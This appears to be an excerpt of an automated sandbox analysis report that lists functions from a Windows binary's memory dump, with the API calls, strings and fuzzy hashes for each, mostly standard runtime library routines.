_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D65FEC

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: File$Create$CloseHandleTime_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2398171386-0
Opcode ID: acb60da309b2253dc5e9679f966fb61d554592a31164629a9f133004a7ff1bc3
Instruction ID: 238ed82ecaeb1a63c68d0a6c577fb5d577de2e3d0ecb03030ea113cf046032fb
Opcode Fuzzy Hash: acb60da309b2253dc5e9679f966fb61d554592a31164629a9f133004a7ff1bc3
Instruction Fuzzy Hash: 8351D432B18B06AAFB50EF66E8903BDB361AB44798F804635DF3D466D5DF3890958390

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D97408 Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FF7F4D97C3B), ref: 00007FF7F4D97465
WideCharToMultiByte.KERNEL32 ref: 00007FF7F4D97541
WriteFile.KERNEL32 ref: 00007FF7F4D97567
WriteFile.KERNEL32 ref: 00007FF7F4D975A6
GetLastError.KERNEL32 ref: 00007FF7F4D975DE

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID:
API String ID: 3659116390-0
Opcode ID: 1cd0471f1fa0ba39e6c89e085235cb16163e43b2f139bc396a7cde33f0681fd1
Instruction ID: fa11ac0f3c6d421d33133c8d70f3ae7282aea603d7839c0ab9bc241d55131137
Opcode Fuzzy Hash: 1cd0471f1fa0ba39e6c89e085235cb16163e43b2f139bc396a7cde33f0681fd1
Instruction Fuzzy Hash: 4151AF32A18A51C6E790DF66D8843ACBBB0FB44B98F448135DF6E87699DF38D141C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D92864 Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF7F4D92986

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 9cab2cbaf794975dd84f68dd969880afa2df4031812d8fe62cc01396f3b1aa86
Instruction ID: 468e2597236d29ff2a2607280070c31a8456f279e00925c7f67df6bfd1007872
Opcode Fuzzy Hash: 9cab2cbaf794975dd84f68dd969880afa2df4031812d8fe62cc01396f3b1aa86
Instruction Fuzzy Hash: 9741C262B0A64593FF15BF43EC845B5B291BB15BE0F894939DE6D8B7C4DE3CE04082A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D98BA8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF7F4D98BCF
_set_statfp.LIBCMT ref: 00007FF7F4D98BEA
_set_statfp.LIBCMT ref: 00007FF7F4D98C06
_set_statfp.LIBCMT ref: 00007FF7F4D98C42

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: f3bd3298a46f29c998dca386ec4adc9bd6d7efdfabb851da102e47160911a3a1
Instruction ID: cea57cd310e6ac6b471ca9477cf65fbbd845b3c5560f9f5119aabc406c113f1a
Opcode Fuzzy Hash: f3bd3298a46f29c998dca386ec4adc9bd6d7efdfabb851da102e47160911a3a1
Instruction Fuzzy Hash: 43116062E3C60743FB583D36ECC13B9B1416F547A5F884634F77EC66D68E2CA44942A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D838E8 Relevance: 7.5, APIs: 5, Instructions: 29windowsynchronizationCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32 ref: 00007FF7F4D83905
GetMessageW.USER32 ref: 00007FF7F4D8391C
TranslateMessage.USER32 ref: 00007FF7F4D83927
DispatchMessageW.USER32 ref: 00007FF7F4D83932
WaitForSingleObject.KERNEL32 ref: 00007FF7F4D83940

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: Message$DispatchObjectPeekSingleTranslateWait
String ID:
API String ID: 3621893840-0
Opcode ID: 8b097f18887cb1e3026db83f2a8d48409f38768177490a167cdc872345ad7a60
Instruction ID: 563afa423d2069a14815b56a5888b2e29a0ce976a5fc22ad4758fc914858d5df
Opcode Fuzzy Hash: 8b097f18887cb1e3026db83f2a8d48409f38768177490a167cdc872345ad7a60
Instruction Fuzzy Hash: 67F04F62B2854683F760AF62E895BBAB251FFA4B05FC45030D75E418D49E2CD449C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D897AC Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7F4D897D6
abort.LIBCMT ref: 00007FF7F4D89A3A

Strings

csm, xrefs: 00007FF7F4D897FB
csm, xrefs: 00007FF7F4D8996A

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: __except_validate_context_recordabort
String ID: csm$csm
API String ID: 746414643-3733052814
Opcode ID: be506e55bd76a4fc1cc33cd602a9f02af468dc5fce4ddee28aa73968aa2bf590
Instruction ID: 7ef5c6756a7d1f7b8c163e7375bbf7041c8cf96bb7aeabd3e10ca0f77b9a9740
Opcode Fuzzy Hash: be506e55bd76a4fc1cc33cd602a9f02af468dc5fce4ddee28aa73968aa2bf590
Instruction Fuzzy Hash: 9371B1729086828BDB61AF26D4C077DBBA0FB01B8AF848176DB9D57AC5CB2CD451C790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D8B50C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F4D8B533
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F4D8B705

Strings

, xrefs: 00007FF7F4D8B68E
*, xrefs: 00007FF7F4D8B639

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: 657f2f9f8f19e07b651cb89ce54e29715672433403af4f6c8af21786d19ec375
Instruction ID: 2480815c11e95ec307d3aab52a89db8a08b388dd471feecd45acb107ae483ca2
Opcode Fuzzy Hash: 657f2f9f8f19e07b651cb89ce54e29715672433403af4f6c8af21786d19ec375
Instruction Fuzzy Hash: 9551A672D0E6428BE765AE36C0C637CBBA0FB05B18F951135E76A492D5CF28D481CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D89BF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F4D88760: abort.LIBCMT ref: 00007FF7F4D88773

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7F4D89C9A
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF7F4D89CC6

Strings

csm, xrefs: 00007FF7F4D89DC6

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_recordabort
String ID: csm
API String ID: 2466640111-1018135373
Opcode ID: 3b2257290adfa2781d5b09c2d1616d864f17ca53d9f431228db0fbfec44e584e
Instruction ID: 47935996be43f89713c155a924e88f634ba27dc2a1c8a28ac67f458d878a7763
Opcode Fuzzy Hash: 3b2257290adfa2781d5b09c2d1616d864f17ca53d9f431228db0fbfec44e584e
Instruction Fuzzy Hash: AF51363661974687E720EF16E58027EB7A4FB88B94F400135EB9D07B96DF38E460CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D97834 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF7F4D9791A
WriteFile.KERNEL32 ref: 00007FF7F4D9794D
GetLastError.KERNEL32 ref: 00007FF7F4D9796F

Strings

U, xrefs: 00007FF7F4D978F8

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: U
API String ID: 2456169464-4171548499
Opcode ID: 2f706e73b6f803897afdeedd5c6f9beaf88812da98874b118221d5eca08fcff9
Instruction ID: e74f7557083efb29907bb21cc2dbf0d8ca67ef2ea23c98c3c4a6c017b50e4ee0
Opcode Fuzzy Hash: 2f706e73b6f803897afdeedd5c6f9beaf88812da98874b118221d5eca08fcff9
Instruction Fuzzy Hash: 4041A022B19A45D2EB20AF26E8843B9B7A1FB88794F814135EF5D87788DF3CD441C790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D7CCAC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF7F4D7CCD5
GetObjectW.GDI32 ref: 00007FF7F4D7CD03
ReleaseDC.USER32 ref: 00007FF7F4D7CDB7

Strings

, xrefs: 00007FF7F4D7CD4F

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: ObjectRelease
String ID:
API String ID: 1429681911-3916222277
Opcode ID: 44c77fb0c881ba99751d99cab6f2a4cb2265e5a1d1bd1f8fbaa2d73aad56a42c
Instruction ID: 7b5e278ff3f1689e5511a6d2ecef071bf9a5efbdc5f4a579f1ca74294effa4ce
Opcode Fuzzy Hash: 44c77fb0c881ba99751d99cab6f2a4cb2265e5a1d1bd1f8fbaa2d73aad56a42c
Instruction Fuzzy Hash: B531283671874187DB149F23F84876AB6A1F788FD1F504139EF9A43B94DE3CD0498A80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D7C1DC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF7F4D7C1E8
GetDeviceCaps.GDI32 ref: 00007FF7F4D7C1F9
ReleaseDC.USER32 ref: 00007FF7F4D7C206

Strings

, xrefs: 00007FF7F4D7C20C

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: CapsDeviceRelease
String ID:
API String ID: 127614599-3916222277
Opcode ID: f39d4aaa32b0f0035c213a3f2668141cc8a749a99fd2638b01b0a4ed9b2b3d7d
Instruction ID: 4918b38faaacd8d3ccf592b18e5cac8cd717995c866e6090ced47ba4df827b47
Opcode Fuzzy Hash: f39d4aaa32b0f0035c213a3f2668141cc8a749a99fd2638b01b0a4ed9b2b3d7d
Instruction Fuzzy Hash: CFE08C21B0864183EB686BB6F5C912AA2A1AB4CBD0F954039DB1E837C4ED3DC4854380

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D67644 Relevance: 6.3, APIs: 4, Instructions: 281COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D67915
FoldStringW.KERNEL32 ref: 00007FF7F4D6795F
FoldStringW.KERNEL32 ref: 00007FF7F4D679B3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7F4D67A22

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: FoldString_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2025052027-0
Opcode ID: 288d887226528570286da00368890b9c12e33c721ffc9314224fe1766da8ebad
Instruction ID: 29345971f6cdde9a852a3157f0b289fc09db2ae4330e28c8fcaba35c9dc5feae
Opcode Fuzzy Hash: 288d887226528570286da00368890b9c12e33c721ffc9314224fe1766da8ebad
Instruction Fuzzy Hash: B4B1D122F28A4AE2EB10AF5BD494569B3A1FB45B94F908131DB2D077D0DF7CE484C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D6FC98 Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7F4D6FD4C
SetLastError.KERNEL32 ref: 00007FF7F4D6FDE7

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 008e9068468195d1ad8d288de58e97b834aaa93408792d802f4b4f6273b3b4d6
Instruction ID: 9adf2b0dcddb1af80bdfbd5016a9ba0557140771b06da190ab8f61882cb65565
Opcode Fuzzy Hash: 008e9068468195d1ad8d288de58e97b834aaa93408792d802f4b4f6273b3b4d6
Instruction Fuzzy Hash: 6551B362B14E46A6EB00BF26D4852EC7321FB85B88F804135DB6C577DAEE2CE541C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D7D8C8 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7F4D7D8F4
GetLastError.KERNEL32 ref: 00007FF7F4D7D940
CreateDirectoryW.KERNEL32 ref: 00007FF7F4D7DA48
LocalFree.KERNEL32 ref: 00007FF7F4D7DA58

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: CreateCurrentDirectoryErrorFreeLastLocalProcess
String ID:
API String ID: 1077098981-0
Opcode ID: ca84554f8b83525ab0a772656818ef73ccc777e3a16219d34c0a377584f1fe82
Instruction ID: 9359d9ca78b841ff1e286738475666655fa98243455614459a87cc411475863d
Opcode Fuzzy Hash: ca84554f8b83525ab0a772656818ef73ccc777e3a16219d34c0a377584f1fe82
Instruction Fuzzy Hash: DD516232728B4287E750AF22E4847AEB3A4FB95B84F901135DB5E57A98DF3CD504CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D9102C Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F4D9107F
WideCharToMultiByte.KERNEL32 ref: 00007FF7F4D91151
GetLastError.KERNEL32 ref: 00007FF7F4D91174
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F4D911A6

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f4d60000_C792057CB761DA8872421A6C906C4481B260BDB5D27B8.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: 121a64c51188f3446642135f8cc11aca021b0cf9c3d40bc74ea66e71a3f826c1
Instruction ID: 2e2bfcdee5d258a897401c7665f4f01ced0112a4155ea0bb4f18d9553ba046a2
Opcode Fuzzy Hash: 121a64c51188f3446642135f8cc11aca021b0cf9c3d40bc74ea66e71a3f826c1
Instruction Fuzzy Hash: B241A221B0979257FB61AE13E88037DF294EF40B94F944130DBAC96AD6DF3ED84186A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7F4D93FC8 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF7F4D8F8FB), ref: 00007FF7F4D93FE1
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF7F4D8F8FB), ref: 00007FF7F4D94043
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF7F4D8F8FB), ref: 00007FF7F4D9407D
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF7F4D8F8FB), ref: 00007FF7F4D940A7

Memory Dump Source

Source File: 00000000.00000002.1639029163.00007FF7F4D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F4D60000, based on PE: true

Associated: 00000000.00000002.1638976721.00007FF7F4D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639127214.00007FF7F4DB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1639173162.00007FF7F4E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

